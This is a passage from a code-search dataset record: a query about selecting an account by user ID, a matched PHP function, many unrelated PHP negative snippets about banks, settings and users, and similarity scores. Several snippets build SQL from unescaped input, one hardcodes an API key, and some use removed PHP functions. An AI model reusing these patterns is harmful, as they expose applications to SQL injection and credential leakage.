\"bank-uob\");\n \t$arr[] = array(\"nama\" => \"Tabungan Negara\", \"cssid\" => \"bank-btn\");\n \t$arr[] = array(\"nama\" => \"CIMB\", \"cssid\" => \"bank-cimb\");\n \t$arr[] = array(\"nama\" => \"Standard Chartered\", \"cssid\" => \"bank-chartered\");\n \t$arr[] = array(\"nama\" => \"Other\", \"cssid\" => \"bank-other\");\n\n \treturn $arr;\n }", "function getBankLists() {\r\n\t\t$idealPlugin = os_payments::loadPaymentMethod('os_ideal');\t\t\r\n\t\t$params = new JRegistry($idealPlugin->params) ;\t\t\r\n\t\t$partnerId = $params->get('partner_id');\r\n\t\t$ideal = new iDEAL_Payment($partnerId) ;\r\n\t\t$bankLists = $ideal->getBanks();\r\n\t\treturn $bankLists ;\r\n\t}", "function config_system($kode = null , $field = \"value\")\n{\n $ci=& get_instance();\n $kd = strtolower($kode);\n $qry = $ci->db->get_where(\"config_system\",[\"slug\"=>\"$kd\"]);\n if ($qry->num_rows() > 0) {\n return $qry->row()->$field;\n }else {\n return \"System not available\";;\n }\n}", "public function show(BankData $bankData)\n {\n //\n }", "function getBOCAccount($accountid = 'a746637b91b19a261a67d8bd') {\n\t//bankid bda8eb884efcef7082792d45\n\t//accountid a746637b91b19a261a67d8bd\n\t//viewid 5710bba5d42604e4072d1e92\n\t//\n\t// Get cURL resource\n\t$curl = curl_init();\n\t// Set some options - we are passing in a useragent too here\n\tcurl_setopt_array($curl, array(\n\t\tCURLOPT_HTTPHEADER => array(\n\t\t\t\t\t\t\t 'Auth-Provider-Name: 01460900080600',\n\t\t\t\t\t\t\t 'Auth-ID: 123456789',\n\t\t\t\t\t\t\t 'Ocp-Apim-Subscription-Key: f1817e51b3fb4d2ca3fc279d0df3a061'\n\t\t\t\t\t\t\t ),\n\t CURLOPT_RETURNTRANSFER => 1,\n\t CURLOPT_URL => \"http://api.bocapi.net/v1/api/banks/bda8eb884efcef7082792d45/accounts/$accountid/5710bba5d42604e4072d1e92/account\",\n\t // CURLOPT_URL => \"192.168.88.202:8080/customer/$custId/goals\",\n\t CURLOPT_USERAGENT => 'BankBase BOC Hackathon Request'\n\t));\n\t// Send the request & save response to $resp\n\t$resp = curl_exec($curl);\n\t// Close request to clear up some resources\n\tcurl_close($curl);\n\n\t$resp_decode = json_decode($resp);\n\treturn $resp_decode;\n}", "function get_setting($config_key = '', $id_site = 1)\n{\n # load ci instance\n $CI = & get_instance();\n $CI->load->database();\n $val = '';\n if ($config_key != '')\n $CI->db->where('type', $config_key);\n $CI->db->where('id_site', $id_site);\n $query = $CI->db->get('setting');\n\n if ($query->num_rows() > 1) {\n $val = $query->result_array();\n } elseif ($query->num_rows() == 1) {\n $row = $query->row_array();\n $val = $row['value'];\n }\n return $val;\n}", "public function banners($crud = 'list'){\n if($crud==='list'){\n $data['title']='Banner List';\n $this->load->server('settings/banners',$data);\n }\n }", "public function company_lookup_branch() {\n $this->layout = 'ajax';\n $this->loadModel('Branch');\n $branches = $this->Branch->find('all', array(\n 'conditions' => array('Branch.comp_id' => $this->Auth->user('id'))\n ));\n $this->set('branch', $branches);\n }", "public function show_bank(){\n if(!$this->session->has_userdata('edit_bank') or $this->session->userdata('edit_bank') != TRUE){\n show_404();\n }\n $id = $this->input->post('bank_id');\n if(isset($id) and is_numeric($id)){ \n$bank = $this->base_model->get_data('bank' , '*' , 'row' , array('id'=> $id));\necho json_encode($bank);\n}else{\n show_404();\n } \n}", "public function pseBank()\n {\n return $this->request(\n \"GET\",\n \"/restpagos/pse/bancos.json\",\n $api_key = $this->epayco->api_key,\n $options = null,\n $private_key = $this->epayco->private_key,\n $test = $this->epayco->test,\n $switch = true,\n $lang = $this->epayco->lang\n );\n }", "public function SelecionaBanco()\r\n\t\t{\r\n\t\t\tmysql_select_db($this->banco);\r\n\t\t}", "public function company_showLookupBranch() {\n $this->layout = 'ajax';\n $this->loadModel('Branch');\n if (!empty($_POST)) {\n $findBranch = $this->Branch->findById($_POST['data']['Branch']['check']);\n $this->set('findBranch', $findBranch);\n }\n }", "public function getBankList($bank_id = 0)\n\t{\n\n\t\tif($bank_id > 0)\n\t\t{\n\t\t\t$this->db->where('id > ',$bank_id);\n\t\t}\n\t\t\n\t\t$query1 = $this->db->get('tbl_bank');\n\n\t\t$data = $query1->result();\n\n\t\techo $myJSON = json_encode($data);\n\t}", "public function bank_details($id)\n {\n $Provider = $id;\n return view('admin.providers.add_bank_details', compact('Provider'));\n }", "function link_card_in_page()\n\t{\n\t\tlog_message('debug', 'Account/link_card_in_page');\n\t\t$data = filter_forwarded_data($this);\n\t\t$data['featuredBanks'] = $this->_api->get('money/banks', array('offset'=>0, 'limit'=>'10', 'isFeatured'=>'Y'));\n\t\t$this->native_session->set('link_in_page','Y');\n\t\t$this->load->view('account/choose_bank', $data);\n\t}", "private function get()\n {\n $db = 'Ernio\\\\Bankas\\\\' . $this->settings;\n return $db::get();\n }", "function bank_print($bank_id ,$bank_kode ,$bank_nama ,$bank_norek ,$bank_atasnama ,$bank_saldo ,$bank_keterangan ,$bank_aktif ,$bank_creator ,$bank_date_create ,$bank_update ,$bank_date_update ,$bank_revised ,$option,$filter){\r\n\t\t\t//full query\r\n\t\t\t$query=\"SELECT * FROM bank,bank_master WHERE bank_nama=mbank_id\";\r\n\t\t\tif($option=='LIST'){\r\n\t\t\t\t$query .=eregi(\"WHERE\",$query)? \" AND \":\" WHERE \";\r\n\t\t\t\t$query .= \" (bank_id LIKE '%\".addslashes($filter).\"%' OR bank_kode LIKE '%\".addslashes($filter).\"%' OR bank_nama LIKE '%\".addslashes($filter).\"%' OR bank_norek LIKE '%\".addslashes($filter).\"%' OR bank_atasnama LIKE '%\".addslashes($filter).\"%' OR bank_saldo LIKE '%\".addslashes($filter).\"%' OR bank_keterangan LIKE '%\".addslashes($filter).\"%' OR bank_aktif LIKE '%\".addslashes($filter).\"%' OR bank_creator LIKE '%\".addslashes($filter).\"%' OR bank_date_create LIKE '%\".addslashes($filter).\"%' OR bank_update LIKE '%\".addslashes($filter).\"%' OR bank_date_update LIKE '%\".addslashes($filter).\"%' OR bank_revised LIKE '%\".addslashes($filter).\"%' )\";\r\n\t\t\t\t$result = $this->db->query($query);\r\n\t\t\t} else if($option=='SEARCH'){\r\n\t\t\t\tif($bank_id!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_id LIKE '%\".$bank_id.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\tif($bank_kode!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_kode LIKE '%\".$bank_kode.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\tif($bank_nama!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_nama LIKE '%\".$bank_nama.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\tif($bank_norek!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_norek LIKE '%\".$bank_norek.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\tif($bank_atasnama!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_atasnama LIKE '%\".$bank_atasnama.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\tif($bank_saldo!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_saldo LIKE '%\".$bank_saldo.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\tif($bank_keterangan!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_keterangan LIKE '%\".$bank_keterangan.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\tif($bank_aktif!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_aktif LIKE '%\".$bank_aktif.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\tif($bank_creator!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_creator LIKE '%\".$bank_creator.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\tif($bank_date_create!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_date_create LIKE '%\".$bank_date_create.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\tif($bank_update!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_update LIKE '%\".$bank_update.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\tif($bank_date_update!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_date_update LIKE '%\".$bank_date_update.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\tif($bank_revised!=''){\r\n\t\t\t\t\t$query.=eregi(\"WHERE\",$query)?\" AND \":\" WHERE \";\r\n\t\t\t\t\t$query.= \" bank_revised LIKE '%\".$bank_revised.\"%'\";\r\n\t\t\t\t};\r\n\t\t\t\t$result = $this->db->query($query);\r\n\t\t\t}\r\n\t\t\treturn $result;\r\n\t\t}", "public function get_repo(){\n $this->pg_db->select(\"cfg_value\");\n $this->pg_db->from(\"configuration\");\n $this->pg_db->where(\"cfg_sub_category\", \"ppe.id\");\n $result = $this->pg_db->get();\n $data = '';\n foreach ($result->result() as $rows) {\n $data = $rows->cfg_value;\n }\n return $data;\n }", "function flo_2_cash_details($id){\n\t\t$this->db->where('user_id',$id);\n\t\t$query=$this->db->get($this->config->item('ems_flo2cash_payment_method','dbtables'))->result_array();\n\t\tif(!empty($query)){\n\t\t\treturn $query;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}", "function getBrandSelect()\n\t{\n\t\tglobal $con;\n\t\t\t\n\t\t$get_brands = \"select * from brands\";\n\t\t$run_brands = mysqli_query($con, $get_brands);\n\t\twhile ($row = mysqli_fetch_array($run_brands)){\n\t\t\t$id = $row['brand_id'];\n\t\t\t$title = $row['brand_title'];\n\n\t\t\techo \"<option value='$id'>$title</option>\";\n\t\t}\n\t}", "protected function getEditableConfigNames()\n {\n return ['config.view_bank'];\n }", "function getCostAccountIndividual(){\n\treturn campo('config_system','id','1','cost_account_individual');\n}", "function getCostAccountIndividual(){\n\treturn campo('config_system','id','1','cost_account_individual');\n}", "public function selectBranch()\n\t{\n\t\t$this->Checklogin();\n\t\n\t\t$data ['resultBranch']=$this->branch_model->getAllBranch();\n\t\t\n\t\t$data ['admin_section']='manage_branch';\n\t\t$this->load->view('admin/branch/selectbranch',$data);\n\t\n\t}", "function buddyexpressdesk_settings(){\n $settings = new stdClass;\n\t$GET = new BDESK_DB;\n $GET->statement('SELECT * FROM bdesk_site LIMIT 1');\n $GET->execute();\n\t$defaults = $GET->fetch();\n\tforeach ($defaults as $name => $value) {\n\t\tif (empty($paths->$name)) {\n\t\t\t$settings->$name = $value;\n\t\t}\n\t}\n\treturn $settings;\n}", "public static function getAllBank()\n {\n return DB::table('banks')->select('id', 'name')->get();\n }", "function get_configuracion($param)\n {\n $configuracion = $this->db->query(\"\n SELECT\n *\n\n FROM\n `configuracion`\n\n WHERE\n `` = ?\n \",array($param))->row_array();\n\n return $configuracion;\n }", "public function getBankForm()\n {\n\n $config = array(\n 'kwota' => 999.99,\n 'opis' => 'Transaction description',\n 'crc' => '100020003000',\n 'wyn_url' => 'http://example.pl/examples/notificationBasic.php?transaction_confirmation',\n 'wyn_email' => '[email protected]',\n 'pow_url' => 'http://example.pl/examples/success.html',\n 'email' => '[email protected]',\n 'imie' => 'Jan',\n 'nazwisko' => 'Kowalski',\n );\n\n $form = $this->getBankSelectionForm($config, false, true);\n\n echo $form;\n }", "function settings_viewing(){\r\n\t \t $session_data = $this->session->userdata('logged_in');\r\n\t \t $user_id = $session_data['user_id'];\r\n\t\t $query = $this->db->query(\" SELECT * FROM `system_settings` where vendor_id = $user_id \")->row();\r\n\t\t return $query ;\r\n\t}", "public function GetBankNameById($id_bank)\r\n\t{\r\n\t\tif ($this->db == null)\r\n\t\t{\r\n\t\t\tCrErrorDispatcher::CatchError(\"accounts:GetUserCards: Database specimen is null\");\r\n\t\t}\r\n\t\tif (!is_string($id_bank) && !is_integer($id_bank))\r\n\t\t{\r\n\t\t\tCrErrorDispatcher::CatchError(\"accounts:GetBankNameById: Bank ID is not of type string or integer\");\r\n\t\t}\r\n\t\r\n\t\t$stmt = $this->db->prepare(\"SELECT name FROM bank WHERE id_bank=:id_bank\");\r\n\t\t$stmt->bindParam(\":id_bank\", $id_bank);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\treturn $stmt->fetch()[\"name\"];\t\r\n\t}", "function getBuildingInfo() {\n return getOne(\"SELECT * FROM building WHERE id = ?\",[getLogin()['bid']]);\n}", "protected function companyCode(){\n return config('company.code');\n }", "public function getDBTValue(){ \n $query = \"SELECT * FROM tbl_payment WHERE id ='1'\"; // id = 1 for direct bank\n $result = $this->db->select($query);\n return $result;\n }" ]
[ "0.61173713", "0.5951274", "0.5829982", "0.5795855", "0.5791454", "0.5781638", "0.5781638", "0.5768795", "0.57437587", "0.57186544", "0.5711446", "0.5711446", "0.5711446", "0.5646425", "0.559416", "0.55846524", "0.55753636", "0.55376464", "0.5529413", "0.5529413", "0.55252427", "0.5499197", "0.5496768", "0.5491523", "0.54757875", "0.5461304", "0.5459554", "0.5455326", "0.5441327", "0.5440794", "0.54188406", "0.54144454", "0.54139936", "0.5402274", "0.53866506", "0.53866506", "0.53866506", "0.5381465", "0.53573865", "0.53573865", "0.5353762", "0.53462195", "0.5343826", "0.5342754", "0.5342345", "0.53237194", "0.53121847", "0.5305049", "0.52870315", "0.52584064", "0.52457464", "0.52349854", "0.52349854", "0.52349854", "0.52332747", "0.523148", "0.52175903", "0.52109087", "0.52078867", "0.5193256", "0.51922804", "0.5184145", "0.51812196", "0.51798606", "0.5178864", "0.5178624", "0.5177985", "0.51729536", "0.516676", "0.5156441", "0.51473534", "0.51445585", "0.5140961", "0.513733", "0.5133315", "0.51217365", "0.51196665", "0.5119319", "0.5118385", "0.5118345", "0.51164037", "0.51157486", "0.5114633", "0.5112268", "0.51106626", "0.51095134", "0.5102555", "0.5097996", "0.50948334", "0.50948334", "0.5091914", "0.5076399", "0.5074553", "0.5066426", "0.5061672", "0.5052737", "0.5051066", "0.5050867", "0.5043258", "0.50401765" ]
0.75317544
0
select account using user id
function account_user($uid) { $this->db->select('*'); $this->db->from('account'); $this->db->where('pack_status','Y'); $this->db->where('paystatus','TRUE'); $this->db->where('approved','Y'); $this->db->where('status','Y'); $this->db->where('deleted','N'); $this->db->where('user_id',$uid); $query = $this->db->get(); return $query; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function selectAccountByUserId($id) {\n $connection = openDb();\n $id = escape($id,$connection);\n $id = (int) $id;\n\n //Using prepared statements and parameterized queries:\n $sql = \"SELECT * FROM accounts WHERE USER = ?\";\n $stmt = $connection->stmt_init();\n if(!$stmt->prepare($sql)) {\n return false;\n }\n $stmt->bind_param(\"i\",$id);\n\n return executeQueryPrepared($stmt, $connection, true);\n}", "function selectUser($id) {\n $connection = openDb();\n $id = (int) $id;\n\n\n //Using prepared statements and parameterized queries:\n $sql = \"SELECT * FROM users_view WHERE ID = ?\";\n $stmt = $connection->stmt_init();\n if(!$stmt->prepare($sql)) {\n return false;\n }\n $stmt->bind_param(\"i\",$id);\n\n return executeQueryPrepared($stmt, $connection, true);\n}", "public function findAccount()\r\n {\r\n // get current user id\r\n $loginUser = $_SESSION[\"loginUser\"];\r\n $userId = $loginUser->getId();\r\n \r\n // search accounts from database\r\n $accountList = $this->accountHandler->findAccount($userId);\r\n \r\n require_once ('view/UserHome.php');\r\n }", "function selectAccountById($id) {\n $connection = openDb();\n\n //Using prepared statements:\n $id = (int) $id;\n $sql = \"SELECT * FROM accounts WHERE ID = ?\";\n $stmt = $connection->stmt_init();\n if(!$stmt->prepare($sql)) {\n return false;\n }\n $stmt->bind_param(\"i\",$id);\n\n return executeQueryPrepared($stmt, $connection, true);\n}", "function getUserById($user_id) {\n $query = \"SELECT * FROM users_account WHERE userid = ?\";\n $paramType = \"i\";\n $paramValue = array(\n $user_id\n );\n \n $result = $this->db_handle->runQuery($query, $paramType, $paramValue);\n return $result;\n }", "function find_selected_user() {\n\tglobal $selectedUser;\t\n\tif (isset($_GET[\"id\"])) {\n\t\t$userId=(int) ($_GET[\"id\"]);\n\t\t$selectedUser=get_user($userId);\n\t\t$_SESSION[\"id\"]=$userId;\n\t\tif(!$selectedUser) {\n\t\t\terror_log(\"find_selected_user: selected user not found for user_id=\".$userId,0);\n\t\t}\n\t} elseif (isset($_SESSION[\"id\"])) {\n\t\t$userId=(int) ($_SESSION[\"id\"]);\n\t\t$selectedUser=get_user($userId);\n\t\tif(!$selectedUser) {\n\t\t\terror_log(\"find_selected_user: selected user not found for user_id=\".$userId,0);\n\t\t}\n\t}\telse $selectedUser=null;\t\n}", "public function SelectUserId($con,$id){\n $command = \"SELECT * from user_ WHERE id = '$id' \";\n $result = mysqli_query($con,$command);\n $row = mysqli_fetch_row($result);\n return $row;\n }", "public static function chooseUserAccount() {\n $listeUser = Utilisateur::all();\n $vue = new VueConnexion(\"invite\", $listeUser);\n $vue->render(\"\");\n }", "protected function select() {\n\t\t// Validate.\n\t\tif (!$this->validateForm()) {\n\t\t\tredirect(ABSURL . 'error');\n\t\t}\n\t\tnonce_generate();\n\n\t\t// Get user.\n\t\t$user = $this->Users->get((int) $_POST['user_id']);\n\n\t\t// Send to error page when user doesn't exist.\n\t\tif (empty($user)) {\n\t\t\t$_SESSION['title'] = 'Error';\n\t\t\t$_SESSION['data'] = array(\n\t\t\t\t'error' => 'The selected user was invalid.',\n\t\t\t\t'link' => 'management/users'\n\t\t\t);\n\t\t\tredirect(ABSURL . 'error');\n\t\t}\n\n\t\t// Forward to the user edit page.\n\t\tredirect(ABSURL . 'management/users/edit/' . $user['username']);\n\t}", "public static function get_user($user_id);", "function getUserFromId($userId) {\n $statement = 'SELECT id, username, email, role_id, banned FROM USER WHERE id = (?)';\n $query = $this->prepare($statement);\n $query->execute([$userId]);\n return $query->fetch();\n }", "function selectfuntion($id_user)\n {\n $conn = new mysqli(SERVER, USER, PASSWORD, DB);\n $sql = \"SELECT * FROM tb_user WHERE id_user='\".$id_user.\"';\";\n $result = $conn->query($sql);\n if ($result->num_rows > 0)\n {\n // output data of each row\n while($row = $result->fetch_assoc())\n {\n $id_tip_user = $row['id_tip_user'];\n }\n return $id_tip_user;\n }\n }", "public static function getAccount ($id = null) {\n if (!$id) { \n $id = session::getUserId();\n }\n $db = new db();\n $row = $db->selectOne('account', 'id', $id);\n return $row;\n }", "public function getUser($id);", "public function getUser($id){\n \t$sql = \"select * from `usuarios` where `id` = '$id'\";\n \t$result = parent::executaQuery($sql);\n $row = mysqli_fetch_object ( $result );\n return $row;\n }", "public function selectUserbyId($id){\r\n\r\n $query = 'SELECT * FROM user_tbl WHERE id = ?';\r\n $stmt = $this->_db->prepare($query);\r\n $stmt->execute([$id]);\r\n $users = $stmt->fetchAll(PDO::FETCH_OBJ);\r\n if ($stmt->rowCount()){\r\n return $users;\r\n }\r\n\r\n }", "public function SelectUser($userId) \n\t{\n $sql = \"SELECT userid, siteuserid, email, firstname, middlename, lastname, role, phoneres, phonecell, isactive, islocked, comments,createdon\"\n . \" FROM user \"\n . \" WHERE userid LIKE '\" . $userId . \"' \"\n . \" LIMIT 1\";\n \n\t\t//print_r($sql);\n return parent::queryFirst($sql);\n }", "function find_user($user_id) {\n global $db;\n $sql = \"SELECT * FROM users WHERE id = :user_id;\";\n $params = array(\n ':user_id' => $user_id\n );\n $records = exec_sql_query($db, $sql, $params)->fetchAll();\n if ($records) {\n // user_id is a unique field, so only 1 record should be selected.\n return $records[0];\n }\n // if nothing is returned earlier, then return NULL\n return NULL;\n}", "function user($id){\n\n $sql = \"SELECT * FROM users WHERE id=$id\";\n return fetch($sql);\n }", "public function getUserById($id) {\n\t\t\n\t}", "function get_user_by_user_id($user_id)\n{\n global $conn;\n $q['query'] = \"SELECT * FROM `user_master` WHERE `user_id`='$user_id'\";\n $q['run'] = $conn->query($q['query']);\n $q['result'] = $q['run']->fetch_assoc();\n\n return $q['result'];\n}", "function getUserId($user_name){\n return sqlSelectOne(\"SELECT * FROM users WHERE user_username='$user_name'\", 'user_id');\n}", "public function selectUserById($id){\r\n //2 prepare la requete\r\n $stmt=$connexion->prepare(\r\n \"SELECT *\r\n FROM User\r\n WHERE id=:id\"\r\n );\r\n //3 execute la requete\r\n $stmt->execute(\r\n array('id'=>$id)\r\n );\r\n // 4 Recuperation resultat et stockage ds variable\r\n $user=$stmt->fetchObject('User');\r\n // 5 retourne la variable (reslutat)\r\n return $user;\r\n }", "abstract public function fetchUserById($id);", "public function get_user($id) {\r\n $conn = $this->conn();\r\n $sql = \"SELECT * FROM register WHERE id = ?\";\r\n $stmt = $conn->prepare($sql);\r\n $stmt->execute([$id]);\r\n $user = $stmt->fetch();\r\n $result = $stmt->rowCount();\r\n\r\n if($result > 0 ){\r\n \r\n return $user;\r\n }\r\n\r\n \r\n }", "public function selectUserbyId($ID)\n {\n\n $this->result = @$this->dbConnection->query(\"SELECT * FROM Users WHERE UserId = '$ID' \");\n if(!$this->result)\n {\n die('Could not retrieve records from the CMS Database: ' .\n $this->dbConnection->error);\n }\n\n }", "public function selectViaId($id){\n$sql = \"SELECT id, login, email, password, id_droits FROM utilisateurs WHERE id = :id\";\n$stmt = $this->pdo->prepare($sql);\n$stmt->execute([\n 'id' => $id\n]);\n$userid = $stmt->fetch(PDO::FETCH_ASSOC);\nif(!$userid)\n{\n return false;\n}\n else\n {\n return $userid;\n }\n}", "function getUserID($id){\n\t$crud = new CRUD();\n\t$crud->connect();\n\n\t$crud->sql(\"select * from users where userid='{$id}'\");\n\t$r = $crud->getResult();\n\tforeach($r as $rs){\n\t\treturn $rs['userid'];\n\t}\n\n\t$crud->disconnect();\n}", "function getUserById($id){\n\t\tglobal $db;\n\t\t$query = \"SELECT * FROM t_attendees WHERE id=\" . $id;\n\t\t$result = mysqli_query($db, $query);\n\t\t$user = mysqli_fetch_assoc($result);\n\t\treturn $user;\n\t}", "public function findUserById()\n {\n $this->db->query('SELECT * FROM user WHERE id = :id');\n $this->db->bind(':id', $_SESSION['id']);\n \n $row = $this->db->single();\n \n return $row; \n }", "function account($id)\r\n{\r\n mysql_selectdb(SQL_AUTH_DATABASE);\r\n $query = \"SELECT * FROM `account` WHERE `id` = $id\";\r\n $sql = mysql_query($query);\r\n return mysql_fetch_array($sql);\r\n \r\n}", "function selectTransactionsByAccountId($id) {\n $connection = openDb();\n $id = (int) $id;\n\n\n //Using prepared statements and parameterized queries:\n $sql = \"SELECT * FROM transaction_view WHERE SENDER_ACCOUNT = ? OR RECIPIENT_ACCOUNT = ?\";\n $stmt = $connection->stmt_init();\n if(!$stmt->prepare($sql)) {\n return false;\n }\n $stmt->bind_param(\"si\",$id,$id);\n\n return executeQueryPrepared($stmt, $connection);\n}", "public function retrieve_user($user)\n{\t\t\n $uid=$user->__get('uid');\n\t$con = connect();\n\t$q1 = mysqli_query($con, \"SELECT * FROM user WHERE UId = '$uid'\");\n\treturn $q1;\n}", "public function userbyid($id)\n {\n $sql=\"SELECT * FROM users where id='$id'\";\n\t $result = $this->db->query($sql);\n\t return $result->row();\n \n }", "public function getUserIdWithUsername($id);", "function activateUser($userId);", "public function getUserById($id)\n {\n\t $result = $this->getUserDbTable()->select()\n \t\t\t\t\t\t\t\t\t ->where('user_id = ?', (int)$id, 'INT')\n \t\t\t\t\t\t\t\t\t ->query()->fetch();\n \tif($result) return $result;\n }", "public function loadFromId(){\r\n\t\t$id = $this -> getUserId();\r\n\t\tif(is_numeric($id))\r\n\t\t\t$this -> loadFromQuery(\"select * from UserTab where UserId=\".$id);\r\n\t }", "function findUser($id) {\n\n $conn = \\Database\\Connection::connect();\n\n try {\n $sql = \"SELECT * FROM user WHERE _user_Id = ?;\";\n $q = $conn->prepare($sql);\n $q->execute(array($id));\n $user = $q->fetchObject('\\App\\User');\n }\n catch(\\PDOException $e)\n {\n echo $sql . \"<br>\" . $e->getMessage();\n }\n\n \\Database\\Connection::disconnect();\n\n return $user;\n }", "function getUserById($id){\n\tglobal $conn;\n\t$query = \"SELECT * FROM users WHERE id=\" . $id;\n\t$temp_result = mysqli_query($conn, $query);\n\n\t$user = mysqli_fetch_assoc($temp_result);\n\treturn $user;\n}", "function find_user($user_id)\n{\n global $db;\n $sql = \"SELECT * FROM users WHERE id = :user_id;\";\n $params = array(':user_id' => $user_id);\n $users = exec_sql_query($db, $sql, $params)->fetchAll();\n if ($users) {\n return $users[0];\n }\n return NULL;\n}", "public function SelectIdUser($con,$name){\n $command = \"SELECT * from user_ WHERE user_name = '$name' or Email = '$name'\";\n $result = mysqli_query($con,$command);\n $row = mysqli_fetch_row($result);\n return $row[0];\n }", "public function selectUser($item){\r\n $stmt = self::$con->prepare(\"SELECT * FROM users WHERE (id = :item_id || email = :item_id)\");\r\n $stmt->execute(array(\r\n \":item_id\" => $item\r\n ));\r\n $results = $stmt->fetch(PDO::FETCH_ASSOC);\r\n return $results;\r\n }", "function wck_get_entry_field_user_select($id){\r\n\t\tif( !empty ( $id ) && is_numeric( $id ) ){\t\t\t\t\r\n\t\t\t$user = get_user_by( 'id', $id );\r\n\t\t\tif ( $user ) \r\n\t\t\t\treturn '<pre>'.htmlspecialchars( $user->display_name );\r\n\t\t\telse\r\n\t\t\t\treturn 'Error - User ID not found in database';\r\n\t\t\t\t\r\n\t\t} else {\r\n\t\t\treturn '';\r\n\t\t}\r\n\t}", "public static function getCurrentUser($id){\n return DB::query(\"SELECT * FROM users WHERE id=%s\", $id);\n }", "function getUserById(){\n\t \n\t $sql = \"SELECT * FROM users WHERE User_id=\" . $User_id;\n\t $req = Database::getBdd()->prepare($sql);\n\t \n\t return $req->execute($sql);\n}", "public function getUserById($id){\n $query = $this->db->get_where('user', array('k_id_user' => $id));\n return $query->row();\n }", "public function getUserById($id){\n $this->db->query('SELECT * FROM users WHERE us_id = :id');\n // Bind values\n $this->db->bind(':id', $id);\n $row = $this->db->single();\n return $row;\n\n }", "function find_user($db, $user_id)\n{\n $records = exec_sql_query(\n $db,\n \"SELECT * FROM users WHERE id = :user_id;\",\n array(':user_id' => $user_id)\n )->fetchAll();\n if ($records) {\n // users are unique, there should only be 1 record\n return $records[0];\n }\n return NULL;\n}", "function get_user_by_ID($id){\n global $database;\n $query = \"SELECT * FROM \".TABLE_PREFIX.\"users WHERE ID = \" . $id;\n return $database->query( $query );\n}", "public function getUser($id = null);", "function getUsername($id){\n return sqlSelectOne(\"SELECT * FROM users WHERE user_id={$id}\", 'user_username');\n}", "public function getAccount( $id )\n\t{\n\t\t$stmt = $this->connection->prepare('SELECT a.id, username, avatar, email, expire FROM ' . Configure::get('database/prefix') . 'accounts as a LEFT JOIN ' . Configure::get('database/prefix') . 'sessions as s ON s.id = a.sessid WHERE a.id = :uid');\n\t\t$stmt->bindValue(':uid', Security::sanitize($id, 'integer'), PDO::PARAM_INT);\n\t\t$stmt->execute();\n\t\t$users = $stmt->fetch(PDO::FETCH_ASSOC);\n\t\t$stmt->closeCursor();\n\n\t\tif( !empty($users) )\n\t\t{\n\t\t\t$users['email'] = Security::decryptData($users['email']);\n\t\t}\n\n\t\treturn $users;\n\t}", "function cicleinscription_get_user_by_id($userid){\n\tglobal $DB;\n\treturn $DB->get_record('user', array('id'=>$userid));\n}", "function SelectByIdFrom_UserDetails($dbhandle, $id, &$user)\n{\n $logger = LoggerSingleton::GetInstance();\t\n $logger->LogInfo(\"SelectByIdFrom_UserDetails : Enter ($id)\");\n\n global $UserDetailsTable_Id;\n global $UserDetailsTable_Name;\n global $UserDetailsTable_UserName;\n \n // select\n $query = \"SELECT * FROM $UserDetailsTable_Name\n WHERE $UserDetailsTable_Id = $id\";\n\n // execte\n $result = $dbhandle->query($query);\n\n if(FALSE == $result)\n {\n $logger->LogError(\"SelectByIdFrom_UserDetails : No records with id - $id found\");\n $status = false;\n }\n\n $num_rows = $result->num_rows;\n if($num_rows > 0)\n {\n while($row = $result->fetch_assoc())\n {\n $user = $row[\"$UserDetailsTable_UserName\"];\n }\n\n $status = true;\n } \n else\n {\n $logger->LogError(\"SelectByIdFrom_UserDetails : No records found\");\n $status = false;\n }\n\n return $status;\n}", "function getUsername($userId){\n\n global $conn;\n\n # get username with SQL Query\n $sql = \"SELECT `username` FROM `user` WHERE `userId` = $userId \";\n $result = mysqli_query($conn, $sql);\n $row = mysqli_fetch_assoc($result);\n $username = $row['username'];\n\n if ($userId == $_SESSION['userId']) {\n\n\n return \"<a class='username' href='../View/OwnProfile.php'>$username</a>\";\n } else {\n\n return \"<a class='username' href='../View/UserProfile.php?id=$userId'>$username</a>\";\n }\n\n}", "public function account($id_user) \n\t{\n\t\t$data = array();\n\t\t\n\t\t//user data\n\t\t$where = array('id' => $id_user);\n\t\t$user = 